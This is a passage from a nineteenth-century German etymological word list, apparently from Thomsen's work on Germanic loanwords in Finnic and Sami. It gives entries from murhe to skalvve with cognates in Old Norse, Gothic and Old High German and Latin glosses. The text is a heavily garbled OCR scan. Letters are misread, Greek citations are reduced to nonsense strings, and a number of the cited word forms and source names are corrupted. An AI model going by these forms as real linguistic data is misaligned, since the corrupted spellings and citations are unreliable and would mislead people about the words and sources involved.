liv. müod, forma rei, weps. möd, gen. -on, facies, L
muotto, meist im pL muodok, facies.
mure*, murhe' f.; ehst. mure, liv. mur, pL -üd; L
moraS, moeror, luctus, vgL got maurnan, an. morna,
morn (Skirnismäl v. 31; s. Bugges ausg. der Edda 95),
ahd. morna.
murha f., csedes, woher f. murhaan, inf. -hata, csedere
(44. 64. 69), = an. morä^ aber got maur^r,
murkina f.; weps. murgin, gen. -an, wot murßina,
jentaculum (44. 69. 75), = got m>aurgins^ an. morginn,
m^orgunn.
Wortverzeichniss. 157
murkko gern.-!., nebula (53. 92) , = an, myrÄ?!?i. Dasselbe
wort in einer jüngeren form ist nw.-l. mirkka, mierkka,
sw.-l. maerka (54. 55).
mylly f., wot.; gem.-l. millo, mola (54. 69. 93), = an.,
altsw. mylna. (Weps. melnits 101.) — F., wot. myl-
läri, molitor, = an. mylnari, altsw. mylnare^ mylläri^
möUari. Ehst. mölder, liv. meldar = nd. müUer, vgl.
lett. melderis (Bielenstein, D. lett. Spr. I, § 307, 1).
Naapuri f., wot.; ehst. näber, näbur, liv. näber,
nabergi, -rga, vicinus, = ehst-sw. wöiwr (Euszwurm
§ 302, 8), nd. näber, nawer (vgl. sw. bure, Kydqvist III,
26. IV, 76 anm. *); auch lett. näbtirgs. Seltener ist f.
napoa = an. wa6m, sw. naho (vgl. ebda. H, 379. IV, 29).
nakla, nagla kar., olon.; westf. naula, weps. nagl,
wot. nagla, rev.-ehst. nael, dorp.-ehsi nagl, liv.
naggol, nagl, nägl, nw.-, en.-l. navlle, sw.-l,
naule, clavus, libra (von den nageln in der wage. —
ßS. 92. 94) = an. nagli, altsw. nagMi, ahd., alts. nagal,
ags. nägel. Davon auch lett. nagla (Bielenstein, D. lett
Spr. I, 268).
nallo nw.-l.; sw.-l. nalo, acus (43. 79), == an. ndl fem.
Vgl. niekla.
napa f., wot.; weps., ehst., liv. naba; gem.-l. nappe,
n ape, umbilicus, medium alicujus rei e. c. centrum cir-
culi, axis rotse, = ahd. naba, napa, ags. nafUj an. nöf.
Da diese indessen nur ^radnabe' bedeuten, könnte man
vielleicht auch an lett. nabba , umbilicus , denken (aber lit.
bdmba). Deutlich germanischen Ursprung hat jedoch u. a.
das compositum
napakaira f.; liv. nabägös, nabäg, nabagi, terebra
(vgl. kaira), = ahd. nabager, ags. nafogar, nafegär.
Eine zusammenziehung von "^nafgeirr ist an. nafarr, sw.
nafvare, dial. und altsw. navar, woher wieder f. navari,
näveri, näveri, nw.-l. navar, nabar, sw.-l. nabar
(vgl. Diefenbach 11, 383 flf.).
n ark a f., arctus (68. 75), = ags. nearu, nearo, gen. -rves,
alts. naru, na/ro.
158 Wortverzeichniss.
navste, nauste nw.-l. (Stockfleth), navale (50), = an.
naust,
nauta f., bos, nw.-, en.-l. navdde, animal (50. 64. 77),
= an. naut,
nautitsen, nautin, inf. -tita, -ttia, f.; nw.-l. nav-
daSet, en.-l. navdaSed, sw.-l. nautet, frui, uti (53.
64. 96. 98), = an. neyta, got. *nautjan (oder gebildet
von einem prät. natd zu altn. njota, got. niutan?). Vgl.
. niktet.
nibbe nw.-, en.-l.; sw.-l. nipe, eulter (44. 59. 63), =
an. knifr.
niekla, nekla kar.; russ.-kar., olon. niegla, negla,
westf. neula, weps. negl, wot. nigla, rev.-ehst. nol,
dorp.-ehst. nögl, liv. noggols, nöggöl, nögl, nüg-
göl, acus (43. 68. 79. 106), == got. nepla. Vgl. nallo.
nieste nw.-L; sw.-l. neste, viaticum (44), = an. westn.
niktet nw.-, sw.-l. (sw.-l. auch neutot), frui (51. 98),
= an. njöta, got. niutan. Vgl. nautitsen.
nivsak, nivsat, nivsa nw.-, sw.-l., fernes (51. 59), =
an. fnjösJcr, hnjoskr,
nuora f., russ.-kar.; weps. nör, gen. -an, ehst. nör, g.
-a, sw.-l. snuore, restis, funis (45. 59), vgl. ahd. snuor
(st. -i') fem., got. snörjö^ aQQydvrj; an. snosri n., sw.
snöre; hiervon wieder f. nyöri, ehst. nör, gen. -ri (54.
55). Liv. snüor = nd. snör, vielleicht durch lett.
schnöre,
nuorta sw.-l., nördlich, norden, nw.-l. nuortta, nord-
östlich (Friis Sprogpr. 69. 143), östlich (Bibbalhist 13.
147) (44. 64), = an. norSr. NuorttalaS Samek
'Skoltfinner' d. h. Lappen auf der russischen (östlichen)
Seite des Varangerfjord. lieber diesen Umtausch verdient
Jessen in der Tidskr. f. Philol. III, 113 ff. verglichen zu
werden.
nuotta f., russ.-kar.; weps., ehst. not, wot. nötta; gem.-
1. nuotte, nuötte, sagena, zugnetz (45. 79. 91),= an.
not (fLncetr), sw. not (Eydqvist II, 159). Ehst. natt,
gen. nata, hamen, handnetz, vgl. got. nati, an. net.
• Wortrerzeiclmiss. 159
n Sepp e, gen. naebe, nw.-L, nepos ex sorore (44;, = an.
neßy ags. nefa. Hiervon wol auch sw.-l. naepat, nw.-l.
nappad (Stockfleth), id., f. nepas, nevas, -nepa,
consobrinus, obgleich die endung nicht ganz passt.
Ota, odas f.; ehst. oda, aculeus, cuspis (67), = an. oddr,
ags. ord, got. "^uzds? Die ursprünglichere form erscheint
vielleicht in f. ohdake', ehst. ohakas, Carduus? Ver-
wandt scheint auch f. ohra, otra, weps. ozr, wot. ozra,
özra, ehst. odr, odr, liv. vöddörs, hordeum, zu sein.
Es ist deshalb möglich , dass die Übereinstimmung mit den
germ. werten nur eine zußlllige ist.
Paanu f., scandula (43. 59. 88), = an. spann, acc. pl.
spdnu, altsw. span (Eydqvist 11, 153). .
paasto f.; ehst. päst, gen. -u, liv. past, pl. -üd, jeju-
nium (47. 93), = an. fasta, got. fastubni. Hiervon auch
sl. postü (nach Miklosich, D. W. Ak.XV, 119). Vgl. fasto.
paatti f.; ehst pät', gen. -di, cymba (43), == an. bdtr,
altsw. hater.
pade\ gew. im pl. pateet, f., semita, via ad aliquem
ducens (84), vgl. ahd. päd, phad, pl. pedt, ags. päd.
bädnam, inf. bädnet, nw.-l.; en.-l. padneS^ sw.-l.
'pädnet', nere (98), = an. spin/na. (Wol zu trennen von
nw.-l. bodnjät, sw.*l. 'pädnjet', en.-l. punjaled,
torquere, == f. punoa, id., nere).
pahna f.; ehst. pahn, stroh, streu, lagerstelle, = an. Mss,
lagerstelle, vgl. got. bansts.
paita f.; weps. paid, gen. -an; nw.-l. bajdde, indusium
V. subucula virilis et muliebris (49. 55. 62. 79. 106), =
got. paida, yntovy ahd. phdt, alts. peda, ags. päd. Das
wort kommt nicht in den übrigen finn. sprachen vor und
lässt sich aus ihnen nicht erklaren (f. peittää, tegere,
passt durchaus nicht). In dem germanischen wort, das
vollkommen zum gr. ßakr] stimmt, haben wir dann ent-
weder ein beispiel für urspr. p im anlaut, oder es ist in
einer sehr fernen vorzeit wieder von einem andern volke
entlehnt (vgl. Delbrück in der Zeitschr. f. deutsche philol.
160 WortverzeichniBS. •
I, 15^. Ueber möglicher weise verwandte werte in den
keltischen sprachen vgL Pictet in den Beitr. zur vergL
8prf.n, 87.
bajtam, inf. bajttet, nw.-l., vento oblique navigare, =
an. beita, id.
pale\. palje% gen. palkeen, f., follis fabrilis, weps. pal-
gi§, siliqua (53. 84)^ f. palko, palku, wot. palko,
id., = got. bcUgs, (st ftoZgri-), daxog^ an. bdgr.
paljo f., wot. palTo, ehst. palju, viel, menge (52. 89),
wahrscheinlich == got. ßu^ an. fjol. Bedenken erregt
jedoch ausser der form (s. 52) auch das ^eremiss. pfilä,
multus. Budenz (Nyelvtud. közlem. VI, s. 451, no. 490)
vergleicht auch ostjak. pügot, pügotl, wogul. pauI,
ung. falu, dorf, was mir weniger zulässig scheint.
balkko nw.-l., 'trabecula, super qua vara iUa qoiescit,
cui uncus iste ligneus suspenditur, in quo Lappo mariti-
mus ollam, coquendo, habet super igne pendentem' (Leem);
'bolk' d.h. pars, frustum (Stockfleth) (89),.= an. bölkr,
altsw. bcUker, bdker (Eydqvist ü, 146). Hiervon viel-
leicht auch f. palkku, caudex sectorius. Jünger ist f.
palkki, asser crassior, sepimentum tabulare, = sw. haik.
Ehst. pal'k, gen. -l'gi, liv. balk, palt', balken, -eher
aus dem deutschen, wie auch lett. bcHkis.
ballo, gen. id., nw.-, sw.-l., pila; f. pallo, globulus (89),
= an. bollr (st. bdUu-). P. palli, pila lusoria, = sw.
bäUj älter baU. Ehst. palT, gen. -lli, wol aus dem
deutschen, wie lett. baUis, baUe.
palle^ gen. -Iteen, f., plica in margine vestis^ fimbria,
(davon pallistaa, ehst. palistama, marginem vestis
plicare. — 56. 84), = an. faldr (st. fcdda-); ahd. vM^
mhd. v(üt m. (st. -i-^ vgl. ahd. vcUdistöT). S. Diez, Et.
Wb. * I, 171 f.
panka (Kai. 18, 308), panku, pankku, fibula, ehst.
pan^, gen. paäna, spange, armband, haisschmuck (59.
79. 91), «« an. spöng, altsw. spang (Rydqvist n, 157),
ahd. spanga.
panta f., circulus vimineus v. ferreus, cingulum, ehst.
pand, gen. panna, bügel, aus einer starken ruthe
WortverzeichnisB. 161
gebildeter ring, gem.-L badde, padde, vinculum (66.
77), = an., sw. band.
bardde nw.-l., extremitas carinae cymbae ad proram et
puppim (77), = an. bard^ id. Vgl. parras, parta,
bardne, pardne gem.-L, filius, f. paarna, puer (47),
= an. barn.
barkko nw.-, sw.-L, cortex (89), ~ an. börkr, F. parkki,
cortex arborum detractus, max. coriariis usitatus, ehst.
park, gen. -rgi, id., = sw. barJe.
parma, parmas, paarmas (pl. paarmahat Kai. 47,
200), sinus inter manimas, gremium, woL parmät pl.,
id. (74. 75. 106), = an. barmr ^ pl. -ar, ags. bearm*, got.
barms (st. barmi-).
parma s (auch parmu) f., mensura foeni, sw.parm (nach
dem f.), ehst. p arm, gen. -a, parmas, schooss, schooss-
voll, entweder verwandt mit dem vorherg.. (vgl. f. p ar-
maus, quantum in sinu inter ambas ulnas conjunctas v.
quantum in gremio geii potest; gr. q^og/nog, deutsch diäll.
barm, s. Diefenbach I, 287) oder = an. farmr, onus,
altsw. farmber (Rydqvist 11 , 27), ahd. f arm, scapha.
bärro, gen. bäro, nw.-L; sw.-l. paro, en.-l. päru,
unda (93), = an. bdra.
parras, gen. -rtaan, f., margo e. c. navigii, ora e. c.
amnis, ehst. parras, gen. -rda, liv. pärdas, erhöhter
rand, schiflfsbord (74), wahrscheinlich mit metathesis =
ahd. prartm., prora, margo, labium, Corona, ags. ftreard
m., labium, ora, grundform *bra^da-s (ß. Kuhn in der
Zeitschr. f. vgl. sjrf. XI, 375 ff). Hiervon vielleicht auch
ung. part, ufer? (VgLjedochBudenz in Nyelvtud. közlem.
VI, s. 443 f. nr. 433). Auch f. paarne', gen. paarteen,
sw.-l. pard(a), pardek, firabria vestis, scheinen ver-
wandt. Vgl. das folg. und porras.
parta f., wot.; ehst. pard, weps. bard, barba, =- an.
bard n., ags. beard, ahd. bart, part, (oder = lit. barzda,
lett. barda? Ferner verwandt ist altsl. brada, russ.
6opOAa borodd; nur das weps. scheint wegen des b davon
beeinflusst zu Bein). Vgl. bardde.
Thomsen, Einfiusa d. genn. sprachen. 11
162 WortverzeichnisB.
patja f., pulvinar longius, culcita inferior in lectibus, pul-
villus foeno refertus helciis et ephippiis equinis subjici
solitus (vgl. f. paatsa, paatsas, pulvinar v. fartnra
ephippiis substrata); ehst. padi, gen. padja, liv. pad'a,
kissen, polster (53. 67. 80. 81), ==- got. badin., TiQcißßa-
Tog, an. beär m. (stamm badja-).
peili f.; 1, spaejal, spigal, spejel, speculum (69. 70.
71), = an. spegillj altsw. spegil, jetzt spegd, nw. spegjel,
speiel, spigjd. Ehst. pegel, ]i\. spiegil' == nd. spegd,
das liv. gewiss durch lett. spegdis.
pelto f.; russ.-kar. peldo, weps. pöld, peld, wotpölto,
ehst. pold; nw.-l. baelddo, en.-l. pseldu (nach dem
finn.), ager (43. 56. 77), = ahd., alts. fdd n., ags. fdd
m., altsw. ficelder (Rydqvist H, 24), vgl. an. fold fem.
üng. föld, terra, scheint nur eine ganz zußtUige ähn-
lichkeit hiermit zu haben. Vergl. Budenz in Nyelvtud.
közlem. VI, s. 463 f., nr. 532.
perjantai f.; nw.-l. baerjadak, sw.-l. perjetak, dies
Veneris (59), == an. frjddagr, altsw. frea-, fria-, fre-
dagher, Ehst. rede, liv. bredig von nd. fredag.
piika f., wot; ehst. pig, 1. biga, piga, pika, aneilla,
virgo, puella (40. 44. 93), = sw. piga (Rydqvist III, 277*),
nw. pika.
pikari f., wot; ehst. peker, dorp.-ehst auch piker; liv.
bikär, poculum, calix (44), == an. bikarr, altsw. bikar(e),
jetzt bägare, nyl. bigar (Hipping in den Act. soc. sc. f.
II, 1131); nd. beker; vgl. lett. bik'keris.
bivgge nw.-l., hordeum (53. 81), = an. bygg n. , altsw.
biug, biog, byg (Rydqvist IV, 87). •
blaikok (blaikes) sw.-l., pallidus, =« an. bleikr.
blaves sw.-l., cseruleus (68. 75), = an. bldr, ahd. Uäwer.
bodne, gen. id., nw.-L; sw.-l. bodne, botne, en.-l.
podne, ponne, fundus (44. 69), = an. botn.
bordde nw.-l.; sw.-l. buorde, mensa (44. 77), = an.
borä n., tabula, asser, mensa. .
porras, gen. -rtaan, f., scalse, ponticulus, weps. por-
das, scalsB (78); ehst. purre, gen. -rde, liv. pur das,
ponticulus; ehst. purte, gen. id., leiter, stiege; nw.-l.
Wortvcrzeichniss. 163
boarre, sw.-l. borre, id., scheint in Verbindung zu
stehen mit got. haurd n. {ßtu-b.^ VTtnnoÖLov) ^ an. horä;
ags. hord m., tabula, margo; navis, domus; ahd. hört m.,
margo. Vgl. bordde und parras,
porstua (auch porsto) f., vestibulum (44. 56), = an.
forstofa^ altsw. förstuva, (forstuva), farstuva (Eydqvist
II, 321. m, 64), nyl. färsto-n.
portto f.; ehst. port, gen. -rdu, liv. puort, port, me-
retrix, vgl. an. portlco^a, id.
brievdno, brivdno nw.-L, Stecknadel (51. 60), = an.
prjonn m., nw. prjone fem.
bruggo nw.-L, pons (53. 67. 93), = an. bryggja. — Nw.-
1. (b)ruvve, sw.-l. prove, id., = an. bni, nw. bru^
gew. hro.
pung, gen. punna ehst., liv. pünga, beutel, =gotpt4^gs^
an. pungr, sw. , dän. pung.
punta f.; ehst. pund, gen. -nna, liv. pünda, pünd,
lispfund; 1. budde, pudde, pfund (45), = an., sw.
. pund. — F. puntari, schnellwage, = an. pundari,
sw. pyndare.
buojdde nw.-l.; sw.-l. puoite, puoitak, en.-l. puoi-
dah, pinguis (49. 56. 64. 75), == an. feitr. (Büdenz in
Nyelvtud. közlem. VI, s. 550, nr. 475 vergleicht dagegen
das läpp, wort mit ung. faggyu, ostj. polt', talg.
pöksyt, puksut pl. f. (das letztere besonders kar. , z. b.
Kai. 3, 62); nw.-l. buvsak, busak, en.-L püsah (93);
ehst. p ü k s i d , liv. b ü k s ö d , braccsB , =« sw. lyxor, böxor^
nd. boxen, buxen, boxen \ vgl. lett. biksas.
pöytä f.; nw.-l. bsevdde, en.-l. psevde, sw.-l. peute,
mensa (51. 75), = got biuds, an. bjoä, bjödr. Auch
aufgenommen ins altsl. bljudo, bljudü^ patina, u. desgl.
(Miklosich, D. W. Ak. XV, 78), wovon wieder weps.
blöd, id,
Baaka f., perMca longa, antenna, ehst. rag, gen. räa,
räu, zweig, reis, stange, liv. rag, rägös, rögös, rei-
sig, abgehauenes Strauchwerk (65. 79. 106), = an. rd
fem., mhd. rahe (Grimm, D. G. III, 439).
11*
164 Wortverzeichniss.
raaka f.; ehst. rag, crudus, rudis (68. 75), = an. hrdr^
ahd. (h)rao, (h)rawer.
rad de gem.-l., consilium (43. 62. 64. 77), raddit, domi-
nari (98), radedet, suadere (98), = an. rdä^ rdäa.
radde 1.; sw.-l. auch bradde, pradde, torris (56. 60.
75), = an. brandr.
raibe, gen. raipe, raibakas rev.-ehst.; dorp.-e. roibe,
aas (68), vgl. got. hraiv, an. hrce? Doch stimmt die
endung und das b (= urspr. p) nicht.
r aine 8 sw.-l., purus (83), = an. hreinn, got. hrains^ st.
hrainja-. Nw.-l. r a in et,, purgare.
raippa f., virga longior, funis, nw.-l. rajppe (Priis
Sprogpr. 6), funis (49. 62. 77. 78), == got. raip, a^. reip n.
rakennan, inf. -ntaa, f., labore aliquid parare, apparare;
construere , aedificare ; wot. r a k e t a n , equum jungo ; ehst.
rakendama, id., reparare; liv. rakänd, fische ausneh-
men, reinigen; 1. rakädet, parare, vgl. alts. racud,
racod m., ags. reced n., domus, sedes (verwandt mit got.
rikan, acoQeveiv)? Die finn. werte scheinen von einem
subst. abgeleitet zu sein; doch kommt f. rakento, ssdi-
ficium, wieder vom verbum; vielleicht ehst rake, ein-
fassung, (=« rahe, f. rahe', gen. rahkeen) zugriemen?
Oder sollte syrj. rekta, rein machen, auf-, ausräumen,
verwandt sein?
ranne*, gen. ranteen, f., carpus, brachium inferior; stria
coloris; locus ad litus, ehst. ranne, gen. ran de, hand-
wurzel (91), =» an. rönd fem. (pl. rendr); vgl. ahd. rant,
ags. rand m.
ranta f., wot.; weps., ehst. rand, liv. rända, ränd,
litus, ripä (59. 79. 91), = an. strönd fem., mhd. strant m.
rasse nw.-, en.-, russ.-L; sw.-l. grase, gramen, herba
(77), = an. gras. •
rauha f.; rev. -ehst. rahu, dorp.-ehst. raho, rauw,
1. rafhe, rafe, pax, quies (65), = an. rd, ahd. ruowaj
röa, rawa?
rauma f., fretum maris, fluctus maris; nw.-l. ravdnje,
gen. -vnje, 'alveus maris' (50. 66. 75), == an. straumr.
Wortverzeichnias. 165
raun, raudna sw.-L, sorbus, = an. reynir, nw. rogn,
raun.
raunio f.; ehst. dial. raun, gen. -a, acervus lapidum^
vgl. an. hraun n., lava.
rauta f., woi; russ. -kar. rauda, olon. raudu, weps.,
ehst. xaud, liv. röda, (raod, raud); nw.-, en.-l.
ruövdde, sw.-L route, ferrum (vgl. nw.-, en-1.
ravdde, f. rautio, rautia, faber) (50. 62. 92. 94), =
an. rauäi; ferrum. ochraceum, raseneisenstein (so genannt
wegen seiner rothen fai-be; vgl. lat. rudus, raudus^ altsl.
riida, ses, skr. löha-m für "^laudha-, "^raudha-, ses).
Wie gerade diese art eisen in Finnland und den angren-
zenden ländern sehr gewöhnlich ist, so ist sie auch am
frühesten von den Pinnen benutzt worden, wie diess Ka-
levala 9, 79 ff. zeigt ('die entstehung des eisens' z. b.
V. 153 ff. nach Sc&iefners Übersetzung: 'An dem ende die-
ses tages Ward das eisen aus dem sumpfe, Aus dem
wasserland gegraben, Nach der esse hingetragen.' Vgl.
Sjögren , Zur Metallenkunde d. alt. Finn. , in den Gesamm.
Sehr. I, 637 f. = Bull, de l'ac. de St. P6tersbg. VI, 176 f.).
Verschieden davon ist dgr name des eisens in den öst-
licheren sprachen: syrj. kört, wotjak. kort, wogul. kör,
kiert, ostjak. karte, öeremiss. kürtnö, kirtne,* wol
auch ersa-mordw. käine, kSne, mokga-m. kgni (nach
Europaeus in der ztschr. Suomi, 2 te reihe, VII, 75 ari-
schen Ursprungs, = altbaktr. hareta, neupers. hard^ mes-
set, Schwert); ung. vas == f. vaski, aes, ostjak. väx,
metallum.
ravom, rabom, inf. rappot, nw.-l., federe (63. 98), =^
an. grafa, prät. gröf, got. graban.
rengas, gen. -nkaan, f., annulus (aeneus, ferreus), fibula
orbicularis (vgl. Kalev. 14, 52. 21, 101. 50, 6), ehst. rön-
nas, gen. rönga, wot. renggas, nw.-l. riegges,
sw.-l. rigges, id. (44. 48. 66. 74), = an. hringr, ahd.,
alts. hring. Hiervon auch altsl. userqgü, -r^zi, inauris.
Ehst. rink, kreis, liv. rink, ring, reifen, kreis, sind neuere
entlehnungen aus dem deutschen; vgl. das synonyme lett.
rinh'is.
166 Wortverzeichniss.
riefta, riekta, rievtes (die letztere form gew. nur attri-
butiv) nw.-, en. -1.; sw.-l. rektes, rectus, justus; auch
jus (in dieser bedeutung sw.-l. rektas, rekte) = an.
rettr, got. raihts; an. rettr (stamm -m-), jus, ahd. rekt n.
— Hierher gehört wol auch f. rehti, gen. -hden, gew.
reh(d) eilinen, probus. Sw.-l. riktek ist wol = sw.
riJctigj das aus dem deutschen stammt^ woher auch Uv.
riktig, und rikt, gericht, speise,
rievdam, inf. -ddat, nw. - 1. , colore mutari ; sw.-l. preu-
tet, diflferre, dissimilem esse, = an. Iregäa, nw. hregda,
brigda, id,
rievnek (Leem), rievnak (Stockfleth) pl. nw.-l., alica,
grütze (51), == an. grjön, nw. grjon, F. (k)ryyni, id,
= sw. gryn,
riikki, riiki f., wot.; ehst. rik, nw.-;-!. rika, sw.-l. rit,
rike, regnum (44. 64. 81), = an. riki, sw. riJce. Das
ehst. vielleicht aus dem nd.
riimu f., capistrum (44. 93), = an. grima, altsw. grima,
jetzt grimma (Kydqvist IV, 58, vgl. 10), nyl. gnmo. Hier-
von wol auch sw.-l. krimo, vitta, mitra mulierum, sowie
ehst. (k)rim, gen. -u, streifen, blässe (des viehes).
riita f.; weps. rld, gen. -an, ehst. rld, gen. rlu (dial.
rlda, gen. id.), liv. rld, nw.-l. riddo, sw-, en.-l.
rlto, contentio, controversia (59), == an. striä n., altsw.
Strip f. (Eydqvist H, 87), ahd. strtt m. (st. -a-).
rikas f., ehst., wot.; liv. rikäs, nw.-, en.-l. rigges,
(sw.-l. riko), dives (47. 83), = an. rihr, got. reiks,
evTii^iog (st. rtJya-),
riutta f., scopulus in mari, syrtis (51. 59. 77), = an.
grjöt n., lapides, ahd. grio0; arena, litus arenosum.
r i V g g nw. - 1. ; sw. - 1. r i v k o , mulier norvegica aut suecana
(53. 67. 82), = an. r^gr, gen. r^gjar, mulier.
roadde nw.-l., rtibor (44. 92), = an. roäi m.
roakke nw.-L; sw.-l. kruokke, uncus, = an. krökr.
(Dagegen gehört f. koukku, id., nicht hierher.)
roppe, gen. rove, nw.-, sw.-l., tectum, = ags. hrof n.,
engl, roof, nw. rov, id.; an. hrof, navale. Ehst. röw,
gen. -i, dach, rauchfang, = nd. röf.
Wortverzeichniss. 167
rovasti, provasti f., prsepositus clericorum, probst, =
altsw. provaster, proaster, jetzt prost Ehst. präust,
präwest, dorp.-e. präwst, präos'k, von nd. prawest;
vgl. lett. präwests.
ruhtina, ruhtinas f.; russ."kar. ruohtina§, princeps,
dux (45. 59. 65. 69. 74. 75), = an. dröttinn, aM. druh-
Un^ truhttn.
ruis, gen. rukiin f.; weps. rugiS, ehst. rukis, ruis,
dorp.-e. rügä, wot. rüis, gen. rüßi, liv. rüggos,
rüg§, secale cereale (45. 84. 85), =; Sin.rugr, B,gB. ryge
(oder = lit. rugys^ gew. pl. rugei, lett. rudfi).
rukki f.; sw.-l. rokk, colus (45), = alsw. rokker, jetzt
roek, ehst.-sw. rukk. (F. vokki selten, ehst. wokk =
nd. wokke, deutsch in Ehstland wock).
runo f., Carmen (47. 79), = got. runa fem., fnvaTrJQiov,
ßnvlrj, an. rün. Vgl. sw.-l. rudn, runa, sermo, rumor.
ruoddo nw.-, sw.-l. (bei Tornseus ruodhu), sermo, oratio
(53. 64. 68. 93), = an. roeäa,
ruoke', gew. pl. ruokkeet, f., braccse (59. 91), = an.
brök, pl. hroekr, ags. hröCj pl. brec. — Von der noch
jetzt in sw. dialekten vorkommenden nebenform brakkur^
brakkor (ßietz 55 , vgl. Kydqvist II , 322 anm. *) kommt
f. rakut, sw.-l. brakkoh.
ruonas (ruona) nw.-l.; sw.-l. gruonas, -nes, -nok,
viridis (53. 60. 82), = an. grcenn, ahd. gruoni.
ruossa nw.-l.; sw.-l. ruos, kruos crux (44. 71), = an.
kross, nw. kross, kors.
ruotas nw.-l.; sw.-l. ruottes, ruoc, en.-l. ruatta,
radix (45. 61. 90), = an. rot
Saatto f., olon., wot.; ehst. säd, gen. säu, dial. sät,
gen. sädu, acervus foeni in prato (43. 93. 106), = an.
sata^ altsw. sata, jetzt säta^ säte^ (vgl. ßietz 571); von
. der Wurzel sat in sitja , setja. Deutsch (in Ehstland) sade
scheint wieder aus dem ehst. entlehnt zu sein.
saddim, inf. saddit, nw.-L; sw.-l. saddet, mittere
(53. 66. 97), = got. sandjan, an. senda.
168 Wortverzeichniss.
saddo, gen. sado, nw.-l.; sw.-!. sado, furfar, palea
(43. 79), »! an. sdä fem.
sadnes sw.-l., verus (64. 75), « an. sannr, grundfonn
sanpa-,
saha f., wot.; nw.-l. sahha (nach dem finn.), savvo
(Stockfleth), SW.-L sako, serra (65. 79), «: an. sog, ahd.
saga, ags. sage, altsw. sagh, — Ehst. säg, liv. zöig,
zäig aus dem deutschen, letzteres wol durch lett. fägis.
sajdde nw.-l.; sw.-l. s aide, gadus virens (carbonarius),
= an. seiär, nw. sej.
sajet sw.-l., serere (vgl. 50) «= got. saian, an. sd.
s a ine s sw.-l., tardus (75), « an. semn,
saipio, saippio, saipua^ saippua f.; 1. saipo, sapo,
. smegma (50), =» an. sdpa, ahd. seifä, seiphä, ags. säpe.
Ehst. sep, gen. -bi, liv. z ob aus dem nd. Der Ursprung
dieses stark verbreiteten wertes ist übrigens sehr unsicher ;
dasselbe kommt auch in anderen finnischen und tatarischen
sprachen vor: mokSa-mordw. sapyn, ersa-m. sapon,
öerem. Sovun, Sävan, ung. szappan, öuwaS. sobyn,
tatar., türk., pers., arab. ^yi^ sabun. Alle diese for-
men, die offenbar wechselseitig zusammengehören, aber
nicht mit dem finn. übereinstimmen, gehen vermuthlich
vom tatarischen aus (vgl. Budenz in Nyelvtud. közlem.
III, 414). Ueber dasselbe wort in den slaw. sprachen s.
Miklosich in den Denkschr. d. Wien. Ak. XV, 124.
sairas f., aegrotus, morbo laborans (50. 75), = an. sdrr,
ahd. ser, saucius, tristis; got. sair n., todlv, odvvrj. Vgl.
sarje. — MokSa-mordw. särädan, ersa-m. sere-
dems, aegrotare, stimmt nicht, ebensowenig wie ßerem.,
wotjak. öer, morbus; segrotus, das aus öuwaä., tatar. ger
entlehnt zu sein scheint (vgl. Nyelvtud. közlem. III, 418).
Bei türk. ^yti^ sajru, aegrotus, womit P. Hunfälvy f.
sairas (das. III, 24 und Eeguly Hagyomänyai I [Pest
1864], 302) vergleicht, erweckt die allzugrosse gleichheit
zweifei; jedesfalls liegt das got. wort näher.
s aivo f. 'klart stalle i sjö; eg. det stalle, der forsta hotten
er genombruten i sjö med dubbelt hotten' (Eurön) (50. 68)
= got, saivs, A///rj;, an. scer, sjör, sjdr? Nw.-l. sajvva,
Wortverzeichniss. 169
auch sajvva-öacce, aqua fluvialis, steht nicht in Ver-
bindung hiermit, üeber sw.-l. saev, saeva, mare, s. 51.
sakka, gen. saga, nw.-l.; sw.^1. sak>, saka, en.-l.
särha, fama, rumor, nuntius, sermo (62. 93), == an. saga,
sakko f., nw.-, sw.-l. , multa (67. 79), = an. söä;, lis, causa,
vgl. sekt^ damnatio, multa; got. sakan, STtiTi/nav, [.laxeod^ai,
saksa f.^ wot., liv.; ehst. saks, gen. -a, deutsch, deut-
scher, ausländer, = an. Saxar pL, id.
saitte, salte gem.-l., sal; saltes, salsus (61. 75. 77),
= an. sali n. , saltr adj.
sama f., weps., ehst., wot.; nw,-l. saemma, sw.-l.
ssebma, sabma, eu.-l. sabma, samma, idem, =-
got. sama^ an. samr (nicht vom altsl. samu, ipse, solus).
santa f.; nw.-l. saddo, sw.-l. sadde, arena (75. 77),
.== an. sandr.
sarje nw.-l.; sw.-l. sarjes, vulnus, sw.-l. auch vulneratus,
dolens (50. 69. 77), = an. sar, got. sair. Vgl. sairas.
satula f., wot.; weps., ehst. sadul, liv. saddol, sadlös,
ephippium (62. 69. 75. 96), = an. söäull, altsw. sapul,
ags. sadul.
savcca, savc gem.-l., ovis (50. 86. 87. 90), = an. saMr,
id., got. saups (stamm saudi-), &vöia,
sauma f.; nw.-l. savdnje, sw.-l. save, sutura (50. 66.
75), = an. saumr.
seppele', seppeli, säppäle', säpäl f., vitta crinalis,
ehst. sepel, das köpf band der dagenschen braute , = an.
ßappd, seppol, ciapel, pjapel, altdän. sicepel, seppel, ehst.-
sw. seppul\ brautkrone (Euszwurm § 278), mhd. schapel,
von altfrz. chapel (vgl Diez, Et. Wb.^ I, 111. Schmel-
1er, Bayer. Wb. III, 375. Miklosich in den Denkschr. d.
Wien. Ak. XV, 128).
sielu f.; nw.-l. siello, sw.-l. siselo, en.-l. siellu
(ohne zweifei nach dem finn.), anima (52. 71), = altsw.
sicel, sial, sal (Bydqvist 11, 62. IV, 123), an. sdl, sdla,
ehst. - sw. sjat, själa (Euszwurm II , s. 349). Möglicher-
weise geht es von einer schwachen form {*si<da) aus?
siima f., funiculus e. c. scuticse, hami piscarii, wot. sima,
sw. -, en.-l. sima (nach dem f.), id. (44. 92), == an.
170 WortverzeidmisB.
Sinti, ags. stma m. (Kuss. cHMa sima, bindfaden, ist gewiss
aus derselben quelle entlehnt. Wurzelverwandt ist dage-
gen altsl. süo'M. m. a., vgl. gr. i^idg; s. Curtius, Gr. Et. *,
352 f.).
sila, gew. pl. silat, f., helcium equi (44. 92), == an. sdi
(selten sili), pl. sdar.
silbba gem.-l., argentum (44), = an. süfr. Wegen des
fortgeworfenen r vgl. nuortta = an. norär.
sima f., mel, nectar, ehst sima, extract, vgL an. seimr,
ahd., nhd. seim?
sivjug nw.-l.; sw.-l. sibjok, soror uxoris (67), = an.
sifjtingr, affinis, cognatus (vgl. got. sibja).
siunaan, inf. -nata, f., wot., benedicere; nw.-l. sivd-
nedet, en.-l. sivneded, sw.-l. Sudnetet,. creare,
benedicere (69. 97. 98), = an., altsw. signa,
skabmo sw.-l., pudor (79), = an. skömm.
skalßöo nw.-, sw.-l., testa, concha (68. 82), == got. sferfja
fem., idga^iog, an. skd, gen. -Ijar,
skalvve nw.-l., acervus nivis vento cumulatae (69. 75), =
an. skafly nw. skavl,
